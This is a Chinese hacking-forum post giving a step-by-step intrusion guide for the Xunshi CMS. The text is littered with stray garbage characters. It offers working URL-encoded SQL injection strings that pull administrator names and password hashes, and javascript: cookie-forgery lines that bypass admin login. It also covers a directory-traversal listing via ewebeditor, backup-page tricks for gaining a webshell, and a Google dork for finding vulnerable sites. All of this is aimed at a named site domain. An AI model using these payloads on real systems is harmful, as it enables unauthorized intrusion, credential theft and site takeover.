讯时漏洞总结

admin

by:血封忆尘

6 P. K" `, ]7 G' z在网上也有什么讯时三板斧的文章..但我个人觉得有时候靠那三种还是入侵不了（随着版本的更新）

以下本文总结来自黑防去年第9期杂志上的内容...
: _+ X" D1 @* r, Z
先说一个注入吧:http://www.political-security.com/news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%

4 k6 b% r! A+ G+ \  H7 L. f+ s26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2
$ w+ K9 P6 m% e" i' d
记得千万别多了空格，我测试站的时候就发现多了空格注入不出结果的情况
这里一个注入
0 F% f7 I! N! q# O
" i9 u, C% V, r+ K! C效果如图:
4 X2 x- A( l7 a" R: Y8 b

- y$ K( Y# ?! b1 C' f- I
1 t7 Y/ p% k7 r& q这样就很轻松可以得到管理用户名与密码..这里md5可以拿去破解.但是现在安全意识的提高.
8 c, u. r, O+ s
. v+ n" w$ U( a7 Y, X密码复杂了..很难破出来..那么我们可以通过后来cookies欺骗进去
/ N8 c3 O: `) N; n; o2 u
% Q+ V0 S6 W. Z5 d4 t4 vjavascript:alert(document.cookie="adminuser="+escape("用户名"));javascript:alert(document.cookie="adminpass="+escape("md5值")); javascript:alert(document.cookie="admindj="+escape("1"));

那么这里就会出现一种情况了..如果后台找不到咋办呢??请看下一漏洞让你更轻松达到你想要的效果:

( ]9 s5 |7 X% b) X- J/ C因为讯时结合了ewebeditor程序..而它没有在处理的时候忽视了ewebeditor有个可以列目录的漏洞

0 W, M% v$ Q) ]. e4 _5 U它是做了验证的..但讯时最没做好的地方就是验证..我们可以通过cookies欺骗来绕过验证.从而可以
+ e; U% @$ U  J
# j1 P' j7 M$ X3 s8 _访问这页面来列目录..步骤如下:
2 n/ t& x! O3 o: j& }
, h6 }5 X+ T8 @  F* Jjavascript:alert(document.cookie="admindj=1")
5 D0 X" x+ v# N# A, G3 P! U
: e2 Y# r& H3 i4 t: R- G4 U4 {9 Ohttp://www.political-security.co ... asp?id=46&dir=../..
0 [0 W7 ?4 H& c0 g1 u& K
效果如图:

4 h0 G5 o3 P: B) }0 v9 W4 h
. {6 c1 ^' [2 n: j- p( _; Q3 C
这样全站目录都能瞧了..找到后台目录..进去..
! n, V! s7 `/ ^% w% o3 ~; H
/ m" c5 \2 N$ f: u, T9 c那么进了后台怎么拿shell？？上传--备份就ok了..

那么有时候有些管理在做后台功能的时候把备份页面去掉了...而他本机里备份页面还是存在的..

: R3 {$ q6 g2 D$ ^7 v; U这个我也碰到过一次..你都可以通过列目录来实现..
2 A7 `* w- Y! `  Q$ `
& n% j4 z8 |8 t/ |. k5 {javascript:alert(document.cookie="admindj=1")
# }& d9 u& g3 i' o% Q/ ?$ \
8 D5 K( n% Z7 I4 Nhttp://www.political-security.co ... p?action=BackupData

6 r; X: C. y7 |; ~, e5 |3 ~- A1 e, x8 y备份ok..
5 L5 `& a# @' y% {
那么以上两个漏洞都被管理封住了...咋办??上面两个是比较常见的..那么下面一个注入漏洞呢?

在admin目录下有个admin_lm_edit.asp页面..里面的id没有过滤 那么我们就可以先cookies下
3 \9 n6 i) J* f1 J0 {
然后访问此页面进行注入..步骤如下:
& r3 A; M, C. l& A7 ~8 ]
2 h$ ^, A" ]8 c, e+ ^javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1")

9 ]$ T+ H6 J1 a/ B, g9 n然后请求admin/admin_chk.asp页面

输入注入语句admin/admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%
8 J! p) u' ^9 p# f# c3 p% c
26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin
* ~, Z$ m- C, D2 d6 n# r7 w
效果如图所示:


7 L" _' o9 X: J1 o4 o
讯时漏洞2
google关键字：inurl:news_more.asp?lm2= （关键字很多的自己定义吧）
0 h; V' T& Z3 y
1、/admin/admin_news_pl_view.asp?id=1
//id任意 填入以下语句

2、有时1显示错误信息的时候继续往后退2，3，4，我退到11才找到了页面，郁闷！

, G5 \8 @' d4 {# F" k. S9 [. k

4 M( V, S) \$ v9 \3、|'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username='
" R  `7 P3 B% ~; [1 {6 r5 c  ]% ^  F


爆出管理员帐号和密码了
- I8 B8 ?2 Y) v  \  [' K


4、cookies进后台
- V' _, q  @% ]' M
( _4 n  H' }' o) H* R) L0 xjavascript:alert(document.cookie="adminuser=" + escape("admin"));alert(document.cookie="adminpass=" + escape("480d6d6b4d57cc903f3bab877248da40"));


, T& J5 A$ H3 n" q5 T- E
5、后台用了cookie验证，直接访问http://www.political-security.com/admin/admin_index.asp就OK了！
2 |2 {& V6 K% j1 i' ~

; _3 R' a- q: H" B  I  y
) C1 ?+ U* K( f' q" R0 ]6、后台有上传和备份取SHELL不难。

% @% W' Q6 O" Q/ v+ B' F7、讯时还有个列目录漏洞：http://www.political-security.co ... asp?id=46&dir=../..

逍遥复仇：我搞了一个讯时cms4.1版本的没有数据库备份不知道怎么搞SHELL，有的说虽然后台显示但备份页面是存在的，登录后台后访问 http://www.political-security.com/admin/admin_db_backup.asp?action=BackupData，我这个没有，郁闷着呢，谁还有其他办法提供一下，谢谢！

3 ?7 c) u' e) R
, B; }* b3 N6 u# b* o2 J
5 R+ U( c! }6 @7 o$ T+ X